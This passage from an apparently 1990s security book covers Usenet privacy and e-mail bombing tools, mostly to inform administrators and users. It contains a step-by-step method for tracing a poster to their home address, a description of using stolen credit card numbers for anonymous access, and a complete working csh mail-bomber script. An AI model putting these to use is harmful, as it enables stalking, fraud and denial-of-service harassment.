One key point about the AltaVista engine is that it was coded nicely. By enclosing strings in quotation marks, you can force a case-sensitive, exact regex (regular expression) match. As a result, you can isolate one page out of millions that contains the exact string you're seeking. Similarly, you can isolate all Usenet postings made by a particular author. By taking each of those postings and analyzing them, you can identify that person's chief interests. (Perhaps the person is a militia member, for example.)

The DejaNews search engine is a very specialized tool. It is solely a Usenet robot/spider. The DejaNews archive reportedly goes back to March 1995, and the management indicates that it is constantly trying to fill gaps and get older articles into the database. It claims that it is working on providing all articles posted since 1979. Figure 13.7 shows the top page of DejaNews.


The top-level page of DejaNews.

DejaNews has some more advanced functions for indexing, as well. For example, you can automatically build a profile on the author of a Usenet article. (That is, the engine will produce a list of newsgroups that the target has posted to recently.)

Defeating the archiving of your Usenet messages on both AltaVista and DejaNews is relatively simple--for direct posting, at least. Either in the X headers of your Usenet article or as the first line of your article, issue the following string:

x-no-archive: yes

This will ensure that your direct postings made to Usenet will not be archived. This does not, however, protect you from third-party postings that contain your e-mail address. For example, if you belong to a mailing list and that list is archived somewhere on the WWW (or even at FTP sites), your e-mail address is already compromised. If your e-mail address appears in a thread of significant interest (and your reply was sufficiently enlightening), it is guaranteed that the entire thread (which contains your address) will be posted somewhere. And it will be somewhere other than Usenet; perhaps a WWW page or a Gopher server.

Let us continue to suppose that you have no knowledge of how Usenet indexing works. Let us further assume that although your real name does not appear on Usenet postings, it does appear in the /etc/passwd file on the UNIX server that you use as a gateway to the Internet. Now you are a viable target. Here are some steps that will lead the snooping party not simply to your real name, but to the front door of your home. The steps are as follows:

1. The snooping party sees your post to Usenet. Your e-mail address is in plain view, but your name is not.

2. The snooping party tries to finger your address, but as it happens, your provider prohibits finger requests from the void.

3. The snooping party Telnets to port 25 of your server. There, he issues the expn command and obtains your real name.

Having gotten that information, the snooping party next needs to find the state in which you currently reside. For this, he turns to the WHOIS service.

The WHOIS Service

The WHOIS service (centrally located at rs.internic.net) contains the domain registration records of all Internet sites. This registration database contains detailed information on each Internet site, including domain name server addresses, technical contacts, the telephone number, and the address. Here is a WHOIS request result on the provider Netcom, a popular Northern California Internet service provider:

NETCOM On-Line Communication Services, Inc (NETCOM-DOM)
   3031 Tisch Way, Lobby Level
   San Jose, California 95128
   US
   Domain Name: NETCOM.COM
   Administrative Contact:
      NETCOM Network Management  (NETCOM-NM)  dns-mgr@NETCOM.COM
      (408) 983-5970
   Technical Contact, Zone Contact:
      NETCOM DNS Administration  (NETCOM-DNS)  dns-tech@NETCOM.COM
      (408) 983-5970
   Record last updated on 03-Jan-97.
   Record created on 01-Feb-91.
   Domain servers in listed order:
   NETCOMSV.NETCOM.COM          192.100.81.101
   NS.NETCOM.COM                192.100.81.105
   AS3.NETCOM.COM               199.183.9.4

Here, the snooping party has discovered that the provider is in the state of California. (Note the location at the top of the WHOIS return listing, as well as the telephone points of contact for the technical personnel.) This information will help tremendously; the snooping party now proceeds to http://www.worldpages.com/. WorldPages is a massive database with a design very similar to the average White Pages. It holds the names, e-mail addresses, and telephone numbers of several million Internet users. (See Figure 13.8 for a screenshot of the top-level page of WorldPages.)


The top-level page of WorldPages.

At WorldPages, the snooping party funnels your real name through a search engine, specifying the state as California. Momentarily, he is confronted with a list of matches that provide name, address, and telephone number. Here, he may run into some trouble, depending on how common your name is. If your name is John Smith, the snooping party will have to do further research. However, let us assume that your name is not John Smith. Let's assume that your name is common, but not that common. So the snooping party uncovers three addresses, each in a different California city: One is in Sacramento, one is in Los Angeles, and one is in San Diego. How does he determine which one is really you? He proceeds to the host utility.

The host utility (discussed briefly in Chapter 9, "Scanners") will list all the machines on a given network and their relative locations. With large networks, it is common for a provider to have machines sprinkled at various locations throughout a state. The host command can identify which workstations are located where. In other words, it is generally trivial to obtain a listing of workstations by city. These workstations are sometimes even named for the cities in which they are deposited. Therefore, you may see an entry such as

chatsworth1.target_provider.com

Chatsworth is a city in southern California. From this entry, we can assume that chatsworth1.target_provider.com is located within the city of Chatsworth. What remains for the snooper is to reexamine your Usenet post.

By examining the source code of your Usenet post, he can view the path the message took. That path will look something like this:

news2.cais.com!in1.nntp.cais.net!feed1.news.erols.com!howland.erols.net! Âix.netcom.com!news

By examining this path, the snooping party can determine which server was used to post the article. This information is then coupled with the value for the NNTP posting host:

grc-ny4-20.ix.netcom.com

The snooping party extracts the name of the posting server (the first entry along the path). This is almost always expressed in its name state and not by its IP address. For the snooping party to complete the process, however, the IP address is needed. Therefore, he next Telnets to the posting host. When the Telnet session is initiated, the hard, numeric IP is retrieved from DNS and printed to STDOUT. The snooping party now has the IP address of the machine that accepted the original posting. This IP address is then run against the outfile obtained by the host query. This operation reveals the city in which the machine resides.


TIP: If this information does not exactly match, the snooping party can employ other methods to get the location of the posting machine. One such technique is to issue a Traceroute request. When tracing the route to a machine that exists in another city, the route must invariably take a path through certain gateways. These are main switching points through which all traffic passes when going in or out of a city. Usually, these are high-level points, operated by telecommunication companies like MCI, Sprint, and so forth. Most have city names within their address. Bloomington and Los Angeles are two well-known points. Thus, even if the reconciliation of the posting machine's name fails against the host outfile, a Traceroute will reveal the approximate location of the machine.

Having obtained this information (and having now differentiated you from the other names), he returns to WorldPages and chooses your name. Within seconds, a graphical map of your neighborhood appears. The exact location of your home is marked on the map by a circle. The snooping party now knows exactly where you live and how to get there. From this point, he can begin to gather more interesting information about you. For example:

Many users are not bothered by this. Among those people, the prevailing attitude is that all such information is available through sources other than the Internet. The problem is that the Internet brings these sources of information together. Integration of such information allows this activity to be conducted on a wholesale basis, and that's where the trouble begins.

It is now possible (using the techniques described here) to build models of human networks--that is, it is now possible to identify all members of a particular class. It is also possible to analyze the relationships between them. This changes the perspective for intelligence agencies.

Years ago, gathering domestic intelligence was a laborious process. It required some element, however slim, of human intelligence. (Human intelligence here refers to the use of human beings to gather information as opposed to machines or other, automated processes.) Thus, to get the low-down on the Students for a Democratic Society, for example, intelligence agencies had to send agents on foot. These agents had to mix with the crowd, record license plate numbers, or gather names at a rally. Today, those methods are no longer necessary.

Today, the Internet provides a superb tool to monitor the public sentiment (and perhaps to identify those who conspire to take up arms). In some respects, one might concede that this is good. Certainly, if individuals are discussing violence or crime, and they contemplate these issues online, it seems suitable that law-enforcement agencies can take advantage of this emerging technology. However, it should be recognized here that the practice of building models of human networks via the Internet violates no law. It amounts to free spying, without a warrant. Put more bluntly, we Americans do often have big mouths. Some of us would do better to keep quiet.

Before I continue, I want to make one point clear: Complete anonymity on the Internet is possible, but not legally. Given enough time, for example, authorities could trace a message posted via anonymous remailer (although, if that message were chained through several remailers, the task would be far more complex). The problem is in the design of the Internet itself. As Ralf Hauser and Gene Tsudik note in their article "On Shopping Incognito":

From the outset the nature of current network protocols and applications runs counter to privacy. The vast majority have one thing in common: they faithfully communicate end-point identification information. `End-point' in this context can denote a user (with a unique ID), a network address or an organization name. For example, electronic mail routinely communicates sender's address in the header. File transfer (e.g., FTP), remote login (e.g. Telnet), and hypertext browsers (e.g. WWW) expose addresses, host names and IDs of their users.

Indeed, the process starts at the very moment of connection. For example, workstations connected to a network that is directly wired to the Net all have permanent addressing schemes. Certainly, an Ethernet spoof will not carry when crossing the bridge to IP; therefore, fixed stations permanently strung to the Internet will always have the same IP. And, short of the operator of such a workstation getting root access (and altering the routing tables), there is little that can be done in this regard.

Similarly, the average user's IP is dependent solely upon his server. Consider the exchange that occurs in a dial-up account. (See Figure 13.9.)


A little case study: dynamic IP allocation.

Most servers are now running some form of dynamic IP allocation. This is a very simple but innovative system. Examine the Ethernet arrangement to the right of Figure 13.9 (a garden-variety rack of headless workstations). Each machine on that network can allocate a certain number of IP addresses. Let's make it simple and say that each workstation can allocate 254 of them. Think of each address as a spoke in a bicycle wheel. Let's also assume that the IP address for one of these boxes is 199.171.180.2 (this is an imaginary address). If no one is logged on, we say that the available addresses (on that box) range from 199.171.180.3 to 199.171.180.255.

As long as only a portion of these address are occupied, additional addresses will be allocated. However, what if they are all allocated? In that case, the first one to be disengaged will be the next available IP. That is, suppose they are all allocated and you currently occupy 199.171.180.210. As soon as you disconnect (and if no one else does before the next call), the very next customer will be allocated the address 199.171.180.210. It is a free slot (left free because you have disconnected), and the next caller grabs it. The spokes of the wheel are again fully occupied.


TIP: In practice, the process is more complex, involving more hardware and so forth. However, here we are just concerned with the address allocation, so I have greatly simplified the process.

This demonstrates that in dynamic IP allocation, you will likely have a different address each time you connect. Many individuals who run illegal BBS systems on the Internet take advantage of this phenomenon.


NOTE: The term illegal here refers to those BBS systems that distribute unlawful software. This does not have to be warez (pirated software) either. Certain types of cellular cloning software, for example, are unlawful to possess. Distribution of such software will bring the authorities to your door. Likewise, "illegal" BBS activity can be where the operator and members engage in cracking while logged on. Lastly, those BBS systems that distribute child pornography are, quite obviously, illegal.

The dynamic allocation allows users to perform a little parlor trick of sorts. Because the IP is different each time, an illegal BBS can be a moving target. That is, even if law-enforcement officials suspect the activity being undertaken, they are not sure where it is happening without further research.

Typically, this type of setup involves the perpetrators using a networked operating system (almost always Linux or FreeBSD) that allows remote logins. (These logins may include FTP, Telnet, Gopher, and so on. It is also fairly common to see at least sparse HTTP activity, although it is almost always protected using htpasswd.) It is also common for the operator of such a board to request that users use SSH, S/Key, or some other, secure remote-login software so that third parties cannot snoop the activity there.

Typically, the operator connects using the networked operating system and, after having determined the IP for the night, he mails out the network address to the members of the group. (This is usually an automated process, run through a Perl script or some other shell language.) The mailed message need be no more than a blank one, because all that is important is the source address.

For the brief period that this BBS is connected, it effectively serves as a shadowed server in the void. No one would know of its existence unless they scanned for it. Most often, the operator will kill both finger and the r services, therefore blocking the prying eyes of third parties from determining who is logged to the server. Moreover, the operator has usually gained some privileged access to his provider's network and, having done so, can obscure his presence in system logs.

For the individuals in these groups, relative anonymity is realized because, even if an outside party later questions the sysad of the provider, the logs may be very sparse. Most system administrators are reluctant to kill an account without adequate proof. True, the logs at any outside network would show some activity and the IP it originated from, but that is not enough. If the system administrator cannot say with certainty who perpetrated the activity, he has no case. Meanwhile, during the period when users are logged in to this hidden server, they, at least, are shielded in terms of identity. They can then Telnet back out of that machine (or connect to IRC) and from there, they have some level of shielding. But what about the average Joe?

The average user does not implement such schemes. He connects using mostly client software, on the IBM or Mac platform, and is not looking to provide services. The difference is considerable. Certainly, anyone using the configuration described here has more options with regard to sending, say, fakemail. Because that person controls the server (and the sendmail application is local), even a simple message sent from the console will appear differently from one sent from a Windows client. Such a message cannot be trusted, and only by reviewing the full headers can you reliably determine where it came from.


TIP: You will recall that in Chapter 9, I discussed this point. The technique for identifying the source of fakemail involves using Traceroute. Generally, the second-to-last listing in the Traceroute results will reveal the actual source. In other words, the second-to-last line will reveal the provider network, and from that you can deduce that the user was at least temporarily connected to that server. A discussion with the sysad at that location should give you the username--providing, of course, that you can convince the sysad that there is a reason for him to release such information.

My point is this: During the period when a shadowed server is up, those who log in from the void are safe and hidden, but only as long as the operator of the box refuses to provide their identities.

For example, say a kid establishes such a box in California. His friends from Philadelphia connect to the box and use it as a launching pad. From there, the folks from Philadelphia Telnet back out and begin cracking some server in the void. Our boy in California may later have to answer for this activity. However, if he has erased his logs (and keeps his mouth shut), the people from Philadelphia will never be found. Which leads to this advice: If you run such a server, never, ever allow individuals you do not know to use it. When you destroy the logs, you are sealing your own fate. These individuals are using an IP address that can be traced to you (unless you have root access on your provider's box). Thus, if you meet someone on IRC and he begs you for a shell account, it is best that you refuse until you know him. Otherwise, it is you and not he who will suffer.

At any rate, because of the inherent design of the Internet, the IP address is a universal identification index. It has to be, because without it, how could information be routed across the network? Therefore, be advised that although you may change your mail address in Netscape Navigator or other programs containing mail packages, this does not obscure your identity. True, inexperienced users will be dumbfounded as to the origin of the message, but anyone familiar with UNIX can trace the message right to its source.

I imagine that the majority of my readers are not criminals and simply want to keep their name out of Usenet screens or mailing lists. However, for those inclined to break the law (who are scouring this chapter for that one, single answer), I say this: To totally shield yourself from the law (and other, interested parties), you will need these items:

Certain individuals are available for hire to perform various crimes over the Internet. When they conduct their activity, this is how they do it. The credit card numbers are usually bought outright from an underground, or a "clean," source; one that law enforcement can neither readily identify or reach. Most of these are on microfiche, taken from a financial institution or other source that has a quantity of numbers. (Note that only those individuals who are doing high-volume work will buy microfiche. This is because using microfiche-based numbers is in itself a risk. Later analysis by law enforcement will reveal that sets of numbers used may have or appear to have originated from the same source.)

Those involved in this activity generally explain that banks are poor sources for the numbers, as are Internet service providers, car rental agencies, and retail chains. It is argued that the best source is from mail-order lists or department store databases. These are the reasons:

Having obtained the numbers, the next step is to choose a provider. Most individuals who do this on a regular basis have lists of providers that allow "instant access," where you provide your vitals, your credit card, your desired login, your password, and so forth. Within minutes, you are surfing the Net.

Using this technique, you can reliably obtain total anonymity for short periods of time, periods long enough to perform the desired task. The only hope that authorities have of catching you is to elicit corroborative testimony of a coconspirator, or if you establish a pattern of activity--for example, if spend your nights breaking into machines owned or operated by security specialists who are also talented hackers.


NOTE: I have not suggested here that any reader undertake the action described here. If you do so, you do it at your own peril. These actions amount to crime--or, in fact, a series of crimes. Here, I have merely explained one technique, and no more. Neither I nor Sams Publishing advocate, support, or condone such activity.

For my more law-abiding readers (the majority, I hope), there are varying degrees of anonymity that can be obtained. It depends upon why you want to hide and the sensitivity of the data you are trafficking. It has been recognized that there are plenty of legitimate reasons for allowing anonymity on the Internet. The following is excerpted from "Anonymity for Fun and Deception: The Other Side of `Community'" by Richard Seltzer: Some communities require anonymity for them to be effective, because without it members would not participate. This the case with Alcoholics Anonymous, AIDS support groups, drug addiction support and other mutual help organizations, particularly when there is some risk of social ostracism or even legal consequences should the identity of the members be revealed.


Cross Reference: "Anonymity for Fun and Deception: The Other Side of `Community'" by Richard Seltzer can be found on the Web at http://www.samizdat.com/anon.html.

This is a recurring theme in the now-heated battle over Internet anonymity. Even many members of the "establishment" recognize that anonymity is an important element that may preserve free speech on the Internet--not just here, but abroad. This issue has received increased attention in legal circles. An excellent paper on the subject was written by A. Michael Froomkin, a lawyer and prominent professor. In "Anonymity and Its Enmities," Froomkin writes

Persons who wish to criticize a repressive government or foment a revolution against it may find remailers invaluable. Indeed, given the ability to broadcast messages widely using the Internet, anonymous e-mail may become the modern replacement of the anonymous handbill. Other examples include corporate whistle-blowers, people criticizing a religious cult or other movement from which they might fear retaliation, and persons posting requests for information to a public bulletin board about matters too personal to discuss if there were any chance that the message might be traced back to its origin.


Cross Reference: "Anonymity and Its Enmities" by Professor Froomkin is an excellent source for links to legal analysis of Internet anonymity. Especially for journalists, the paper is an incredible resource. It can be found on the Web at http://warthog.cc.wm.edu/law/publications/jol/froomkin.html.

However, not everyone feels that anonymity is a good thing. Some people believe that if anonymity is available on the Internet, it amounts to nothing but anarchy. Here is a rather ironic quote, considering the source is Computer Anarchy: A Plea for Internet Laws to Protect the Innocent by Martha Seigel:

People need safety and order in cyberspace just as they do in their homes and on the streets. The current state of the Internet makes it abundantly clear that general anarchy isn't working. If recognized governments don't find a way to bring order to the growing and changing Internet, chaos may soon dictate that the party is over.

You may or may not know why this quote is so incredibly ironic. The author, Martha Seigel, is no stranger to "computer anarchy." In her time, she has been placed on the Internet Blacklist of Advertisers for violating network policies against spamming the Usenet news network. The following is quoted from the docket listing on that blacklist in regards to Cantor & Seigel, Ms. Seigel's law firm:

The famous greencard lawyers. In 1994, they repeatedly sent out a message offering their services in helping to enter the U.S. greencard lottery to almost all Usenet newsgroups. (Note in passing: they charged $100 for their service, while participating in the greencard lottery is free and consists merely of sending a letter with your personal information at the right time to the right place.) When the incoming mail bombs forced their access provider to terminate their account, they threatened to sue him until he finally agreed to forward all responses to them.


Cross Reference: The Internet Blacklist can be found on the Web at http://www.cco.caltech.edu/~cbrown/BL/.

I should mention here that Cantor and Seigel are the authors of How To Make A Fortune On The Information Superhighway (HarperCollins, 1994). For Internet marketers, this book is purportedly a must-read.

I also understand that a new book by Seigel, How to Make a Fortune on the Internet (HarperCollins), is forthcoming.

However, all this may be academic. As we move toward a cashless society, anonymity may be built into the process. In this respect, at least, list brokers (and other unsavory information collectors) had better do all their collecting now. Analysis of consumer buying habits will likely become a thing of the past, at least with relation to the Internet. The majority of electronic payment services being developed (or already available) on the Internet include anonymity as an inherent part of their design.


Cross Reference: Dan Fandrich, a prominent programmer and computer enthusiast in British Columbia, has compiled a comprehensive list of such systems. That list is located at http://vanbc.wimsey.com/~danf/emoney-anon.html. Of the systems Fandrich researched, here are a few:


Fandrich's research demonstrates a few significant points. Some systems claim to offer "total" anonymity, but they really don't. He observes, for example, that many systems keep logs of the activity. This represents one important issue. While individuals are concerned with their privacy, and banks would like to ensure that privacy, some medium must be reached. Because if there is total anonymity, how can crimes be adequately investigated? Certainly, new fraud schemes will arise as a result of these new technologies. For example, a technique is already known for defeating the security of smartcards. (I will not be printing that here, I'm afraid.)

In short, complete anonymity on the Internet is becoming less and less easy to lawfully obtain. However, advanced research in the area of anonymous payment schemes will probably turn that around dramatically in the next five years. For, while government agencies are circumspect about Internet anonymity, the coming age of Internet commerce almost demands it. That is where the research is going at the moment, and there is no indication of that trend changing in the near future.

Summary

This chapter discusses a variety of ways you can conceal your identity, including using utilities such as finger, the r commands, and Master Plan. The issue of cookies is addressed. Finally, the issue of anonymity is discussed as it relates to Usenet postings and the WHOIS service.

Resources

Privacy & Anonymity on the Internet FAQ. L. Detweiler. Many sources on privacy and anonymity on the Internet. A must for users new to identity issues on the Net.

Anonymous Remailer FAQ. Andre Bacard. A not-too-technical description of anon remailers, how they work, and where they can be found.

Note: Bacard is also the author of Computer Privacy Handbook ("The Scariest Computer Book of the Year").

The Anonymous Remailer List. Raph Levien. Locations of anonymous remailers on the Internet.

How-To Chain Remailers. Alex de Joode. A no-nonsense tutorial on how to chain remailers and, in doing so, send a totally anonymous message.

Privacy on the Internet. David M. Goldschlag, Michael G. Reed, and Paul F. Syverson: Naval Research Laboratory Center For High Assurance Computer Systems. A good primer that covers all the aspects discussed in this chapter.

Anonymous Connections and Onion Routing. David M. Goldschlag, Michael G. Reed and Paul F. Syverson: Naval Research Laboratory Center For High Assurance Computer Systems. PostScript. Presented in the Proceedings of the Symposium on Security and Privacy in Oakland, Calif., May 1997. A quite detailed analysis of anonymous connections and their resistance to tracing and traffic analysis. (Also discusses vulnerabilities of such systems. A must read.)

Special Report: Privacy in the Digital Age. Susan Stellin. CNET article containing resources on privacy on the Internet.

The Electronic Frontier Foundation. Comprehensive sources on electronic privacy.

The Electronic Privacy Information Center (EPIC). Civil liberties issues. This site is indispensable in getting legal information on privacy and anonymity on the Internet and elsewhere.

Computer Professionals for Social Responsibility--CPSR. A group devoted to discussion about ethics in computer use.

The Anonymizer. A site that offers free anonymous surfing. The application acts as a middleman between you and the sites you surf. Basically, it is a more complex proxying service. It allows chaining as well, and your IP is stripped from their logs.

Articles and Papers

On Shopping Incognito. R. Hauser and G. Tsudik. Second USENIX Workshop on Electronic Commerce, November 1996.

The Anonymous E-mail Conversation. Ceki Gulcu. Technical Report, Eurecom Institute. June 1995.

Control of Information Distribution and Access. Ralf C. Hauser. Technical Report, Department of Computer Science, University of Zurich. September 1995.

Internet Privacy Enhanced Mail. Stephen T. Kent. Communications of the ACM, vol.36 no.8, August 1993.

Certified Electronic Mail. Alireza Bahreman, J. D. Tygar. 1994.

E-Mail Security. Dr. John A. Line. UKERNA Computer Security Workshop, November 15-16, 1994.

Anonymous Internet Mercantile Protocol. David M. Kristol, Steven H. Low, and Nicholas F. Maxemchuk. 1994.

Anonymous Credit Cards. Steven Low and Nicholas F. Maxemchuk and Sanjoy Paul. 1994.

NetCash: A Design for Practical Electronic Currency on the Internet. Gennady Medvinsky and B. Clifford Neuman. 1993.

Electronic Fingerprints: Computer Evidence Comes of Age. Anderson, M.R., Government Technology Magazine, November 1996.

Achieving Electronic Privacy. David Chaum. Scientific American, pp. 96-101, August 1992.

Erased Files Often Aren't. Anderson, M.R., Government Technology Magazine, January 1997.

FBI Seeks Right to Tap All Net Services. Betts, M. ComputerWorld, Vol. XXVI, No. 23, June 8, 1992.


14

Destructive Devices

In this chapter, I examine munitions that I classify as destructive devices. Destructive devices are software programs or techniques that accomplish either of the following objectives:

These devices are all relatively low-level tools and techniques, more likely to be employed by immature users, disgruntled employees, or kids. Such tools and techniques exist, to the chagrin of the serious computing communities, but they exist nonetheless. It is important that new system administrators (and indeed, average users) know about such destructive devices, so I have included them here even though they are not front-line security issues for most networks.

The use of these devices is becoming widespread. With the rise of the GUI (and the increased availability of programming tools and languages to the general populace), this trend can only be expected to continue.


NOTE: The average high school student now has access to C, C++, Pascal, BASIC, and so on. School policies are usually very strict about students copying such software, but most youngsters pay little attention. I have a client in Los Angeles whose son has built an enormous collection of programming tools. He obtained all those programs at his high school. (Young college students get these software products legally, perhaps, but at the greatly reduced rate for educational institutions. Therefore, they have ready access, irrespective of how they acquire such tools.)

It should be noted that destructive devices can be a security risk for small networks or single servers. If your box is hooked up via Ethernet with a fast connection and you have only one mail server, an e-mail bomb attack on one of your users could temporarily grind your machine to a halt.

I have chosen to highlight four key utilities within the destructive device class:

Of these items, only the last two (denial-of-service tools and viruses) are of any real consequence. They have the potential for real damage or, equally dangerous, serious breach of a server's security. (These are discussed in the last half of this chapter.) The first two, in contrast, have been briefly dealt with in previous chapters. Here, I take a more comprehensive look at these innocuous but irritating tidbits.

The E-mail Bomb

I cannot say for certain when the first user "e-mail bombed" another. However, I imagine it wasn't long after e-mail became available. (Old-timers adamantly dispute this, explaining that they were far too responsible for such primitive activity. Hmmm.) In any event, in this section you will find the key utilities being distributed for this purpose.

Up Yours

The Up Yours mail-bombing program is probably the most popular bomber out there. It uses minimal resources, does a superb job, has a simple user interface, and attempts to obscure the attacker's source address. Features of the program include being able to specify times of day to start and stop as well as the number of messages with which it will hammer the target. Figure 14.1 shows the main screen of Up Yours. (The author clearly has a lively sense of humor.)

Figure 14.1.
The Up Yours mail-bombing program.

Version 2.0 of this utility was released sometime in March 1997. This bomber runs only on the Microsoft Windows platform. As you might expect, the tech support is wanting, but the program is free nonetheless. If you are a system administrator, you will want to scan your local drives for the following files:

upyours.exe
upyours2.zip
upyours3.zip

If these files appear in a user's directory, there is a strong likelihood that he is about to e-mail bomb someone (of course, perhaps he simply spends his time collecting hacking and cracking programs). In any event, the utility is hard to find. If one of your users has acquired this program, he clearly has an interest in hacking or cracking.

KaBoom

KaBoom differs significantly from Up Yours. For one thing, KaBoom has increased functionality. For example, traveling from the opening screen (see Figure 14.2) to the main program, you find a utility to list link. Using this function, you can subscribe your target to hundreds of e-mail lists. (Do you remember the case in Chapter 4, "Just Who Can be Hacked, Anyway?," where a senior editor of Time magazine was list linked to thousands of mailing lists?)

Figure 14.2.
KaBoom!


NOTE: List linking is a rather insidious activity and a not-so-subtle form of harassment. It works like this: On the Internet are mail servers that distribute mail messages collected from various sources. These messages invariably concentrate on a special-interest subject (the subject of security, for example). These mail servers (sometimes called list servers) collect such messages and mail them to members of the list on a daily, weekly, or monthly basis. Members can subscribe to such a list in several ways, though most commonly through e-mail. When I say that a target has been list-linked, I mean the target has been subscribed (without his consent) to one or more mailing lists. This is usually done with a tool like KaBoom. Such tools submit registration requests on behalf of the victim, forging his e-mail address.

This utility works quite well, but the interface is poorly programmed. (For example, the main list window presents the lists as selectable from check boxes. This is shoddy work. The programmer could have saved time and space by running them through a list box instead. It takes a lot of work using this utility to link the target to any significant number of lists; the bombing party is forced to scroll down to obtain more lists.)

In any event, this utility's signature files are these:

kaboom!3.zip
kaboom3.exe

Avalanche

The Avalanche e-mail bombing utility works smoothly and is well designed. As you can see in Figure 14.3, the list groups are displayed in a drop-down combo box, and their individual lists are displayed in a list box. Three clicks of a mouse and your target is in hot water.

Figure 14.3.
Avalanche.


TIP: The programmer here was a bit absentminded. The program was written at least in part in Microsoft Visual Basic 4.0. As such, there are a series of DLL files that are required to run the application. These are missing from the general distribution of this utility; therefore, serious bombers must go out onto the Internet to retrieve those files (one is OC2.DLL). Because of this, I would estimate that Avalanche is probably used less than its counterparts, even though its overall design is superior. Inconvenience discourages most users of this particular ilk.

The signature files for this product are

alanch10.zip
avalanche20.zip
avalanche.exe

Unabomber

The Unabomber utility is a rudimentary tool, but one must give the author credit for humor. As you can see in Figure 14.4, Unabomber offers no list-linking capabilities. It is essentially a flat e-mail bomber and does no more than send messages over and over. One interesting element is that Unabomber comes with a help function. (As though you would actually need it.)

Figure 14.4.
The Unabomber.

The signature files for this utility are

unabomb.zip
unabomb.exe

eXtreme Mail

eXtreme Mail is well programmed. It has all the basic features of a commercial application, including an interactive installation process. The installation process performs all the routine checks for disk space, resources, and so forth. It also observes proper registry conventions and is easily uninstalled. This is a relatively new mail bomber, and apparently, the name eXtreme is also the name of the group that produced the software. Figure 14.5 shows eXtreme Mail's main page.

Figure 14.5.
eXtreme Mail.

The signature files for this product are

xmailb1.zip
xmailb1.exe

Homicide

The Homicide utility was written by a youngster with the moniker Frys and was discontinued in 1996. The author claims that he wrote the utility because Up Yours 2.0 was inadequate as an e-mail bombing tool. However, with the release of Up Yours 3.0, Frys apparently decided to discontinue any further releases. As of March 1997, it is available only at a very few select sites. The signature files for this utility are

homicide.zip
homicide.exe

The UNIX MailBomb

This UNIX e-mail bomber is reportedly written by CyberGoat, an anonymous cracker out in the void. The programming is so-so. In fact, the author made no provisions in the event that the originating server has restrictions on multiple processes. (Perhaps a sleep call would have been wise.) The signature file on this one is mailbomb.csh.

#!/bin/csh
# Anonymous Mailbomber
# do chmod u+rwx <filename> where filename is the name of the file that
# you saved it as.
#*** WARNING - THIS WILL CREATE AND DELETE A TEMP FILE CALLED
# "teltemp"
# IN THE DIRECTORY IT IS RUN FROM ****
clear
echo -n "What is the name or address of the smtp server ?"
set server = $<
#echo open $server 25 > teltemp
echo quote helo somewhere.com >> teltemp
#The entry for the following should be a single name (goober),
#not goober@internet.address.
echo -n "Who will this be from (e.g. somebody) ?"
set from = $<
echo quote mail from: $from >> teltemp
echo -n "Who is the lucky recipient (e.g. someone@somewhere) ? "
set name = $<
echo quote rcpt to: $name >> teltemp
echo quote data >> teltemp
echo quote . >> teltemp
echo quote quit >> teltemp
echo quit >> teltemp
echo -n "How many times should it be sent ?"
set amount = $<
set loop_count = 1
while ($loop_count <= $amount)
    echo "Done $loop_count"
    ftp -n $server 25 < teltemp
    @ loop_count++
end
rm ./teltemp
echo $amount e-mails complete to $name from $from@$server
# --------------------
# MailBomb by CyBerGoAT

Bombtrack

The Bombtrack utility is reportedly the first mail-bombing tool written for the Macintosh platform. (This is of some significance. Programming a garden-variety utility like this on the Microsoft Windows platform is simple, and can be accomplished almost entirely with a visual design interface. Very little code needs to go into it. Writing for the Mac platform, however, is a slightly different affair.)

Basically, Bombtrack is another run-of-the-mill bombing utility, widely available at hacker sites across the Internet. The signature file for this application is

bombtrack.bin

FlameThrower

FlameThrower is a bombing utility written for Macintosh. Its main purpose is list linking; it allows the user to subscribe his target to 100 lists. The binary is quite large, considering its intended purpose. The author should get some credit for style of design, but Macintosh users are fairly stylish as a rule. The signature for this file is

flamethrower10b.sit.bin

General Information About E-Mail Bombs

E-mail bombing is nothing more than nuisance material. The cure is generally a kill file or an exclusionary scheme. An exclusionary scheme is where you bar entry of packets received from the source address. As discussed in Chapter 13, "Techniques to Hide One's Identity," obtaining the source address is a fairly simple process, at least in a UNIX environment. Really, it involves no more than reading the message in Mail as opposed to Pine or Elm; this will reveal the actual source address and expand the path. Examining the complete path (even in Netscape Navigator, for example) will give you the originating mail server.

If you maintain a site and malicious users from the void start bombing you, contact their postmaster. This is usually quite effective; the user will be counseled that this behavior is unnecessary and that it will not be tolerated. In most cases, this proves to be a sufficient deterrent. (Some providers are even harsh enough to terminate the account then and there.) However, if you are faced with a more difficult situation (for example, the ISP couldn't care less if its users bombed the Internet collectively), you might have to take more aggressive measures.

One such measure is to block traffic from the originating network at the router level. (There are various packet-filtering techniques that you can apply.) However, if this doesn't suit your needs (or your temperament), there are other, more proactive solutions. One fine technique that's guaranteed to work is this: Fashion a script that catches the offending e-mail address each time it connects to your mail server. For each such connection request, terminate the connection and autorespond with a polite, 10-page advisory on how such attacks violate acceptable use policies and that, under certain circumstances, they may violate the law. After the offending party has received 1,000 or so returns of this nature, his previously unconcerned provider will bring the offender onto the carpet and promptly chop off his fingers.

There are renegade providers around, and there is absolutely no reason that you cannot undertake such action. After all, you have done no more than refuse the connection and issue an advisory. It is hardly your fault if the warning was not heeded. Notwithstanding various pieces of legislation to bring the Internet into the civilized world, it is still much like the Old West. If another provider refuses to abide by the law and generally accepted practices, take it down to the OK Corral. One last point here: To make this technique especially effective, be sure to CC the postmaster of the bomber's site with each autorespond message.


NOTE: These aggressive techniques can only be implemented in the event of a garden-variety mail-bombing situation. This will not work for list linking because list linking is a process that obscures the true origin address of the attacker. The only way to obtain that address if is the list owner (whoever is responsible for the mailing list server) runs logging utilities and actually keeps those logs.

For example, suppose the list accepts subscription requests from a Web page. It can easily obtain the address by checking the HTTP server connection log (this file is normally called access.log). HTTP servers record the originating IP address of each connection. However, the large majority of lists do not accept subscription requests through their Web pages. Instead, they use garden-variety mail. The percentage of system administrators who heavily log connection requests to their mail server is fairly small. Moreover, to trace the attacker, you would need help from more than just the system administrator at the mail list site; suppose the attacker was using a dial-up connection with a dynamically allocated IP address. After you acquire that IP from the mail-list system administrator, you must convince the attacker's ISP to cooperate by forwarding its logs to you.

Furthermore, unless the attacker's ISP is running good logging utilities, the logs you receive will only demonstrate a list of possible suspects (the users who were logged to that IP or dial-up at the hour of the attack). Even more research may be required. For this reason, list linking has become far more popular than run-of-the-mill mail bombing.


IRC: Flash Bombs and War Scripts

